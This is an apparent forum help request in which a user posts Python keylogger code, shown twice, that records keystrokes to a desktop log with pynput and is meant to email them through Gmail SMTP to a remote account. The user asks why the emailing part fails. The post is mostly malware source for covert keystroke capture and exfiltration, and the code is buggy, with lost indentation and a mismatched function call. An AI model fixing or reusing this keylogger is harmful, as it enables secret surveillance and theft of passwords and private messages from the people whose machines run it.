Dec 8, 2019 10:16 PM
(This post was last modified: Dec 8, 2019 10:16 PM by SenatorTedCruz.)
from pynput.keyboard import Key, Listener
import logging
from time import sleep
import smtplib
import datetime
data = ''
log_dir = r"C:/users/admin/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
f = open("keyLog.txt", "r")
data = f.read()
def send_mail():
global data
while True:
if len(data) > 10:
timeInSecs = datetime.datetime.now()
SERVER = "smtp.gmail.com"
PORT = 587
USER = "********"
PASS = "********"
FROM = USER
TO = [USER]
SUBJECT = "B33: " + timeInSecs.isoformat()
MESSAGE = data
message_payload = "\r\n".join((
"From: %s" % FROM,
"To: %s" % TO,
"Subject: %s" % SUBJECT,
"",
MESSAGE))
try:
server = smtplib.SMTP()
server.connect(SERVER, PORT)
server.starttls()
server.login(USER, PASS)
server.sendmail(FROM, TO, message_payload)
data = ''
server.quit()
except Exception as error:
print
error
sleep(5)
send_mail(data)
I'm not exactly sure where I am going wrong. The code is supposed to take keystrokes and record them into a log.txt file on the desktop which it is doing, but it is also supposed to email it via gmail to itself. I think the issue maybe with opening the log.txt and setting the string data to it but im not sure.
import logging
from time import sleep
import smtplib
import datetime
data = ''
log_dir = r"C:/users/admin/desktop/"
logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
f = open("keyLog.txt", "r")
data = f.read()
def send_mail():
global data
while True:
if len(data) > 10:
timeInSecs = datetime.datetime.now()
SERVER = "smtp.gmail.com"
PORT = 587
USER = "********"
PASS = "********"
FROM = USER
TO = [USER]
SUBJECT = "B33: " + timeInSecs.isoformat()
MESSAGE = data
message_payload = "\r\n".join((
"From: %s" % FROM,
"To: %s" % TO,
"Subject: %s" % SUBJECT,
"",
MESSAGE))
try:
server = smtplib.SMTP()
server.connect(SERVER, PORT)
server.starttls()
server.login(USER, PASS)
server.sendmail(FROM, TO, message_payload)
data = ''
server.quit()
except Exception as error:
error
sleep(5)
send_mail(data)
I'm not exactly sure where I am going wrong. The code is supposed to take keystrokes and record them into a log.txt file on the desktop which it is doing, but it is also supposed to email it via gmail to itself. I think the issue maybe with opening the log.txt and setting the string data to it but im not sure.

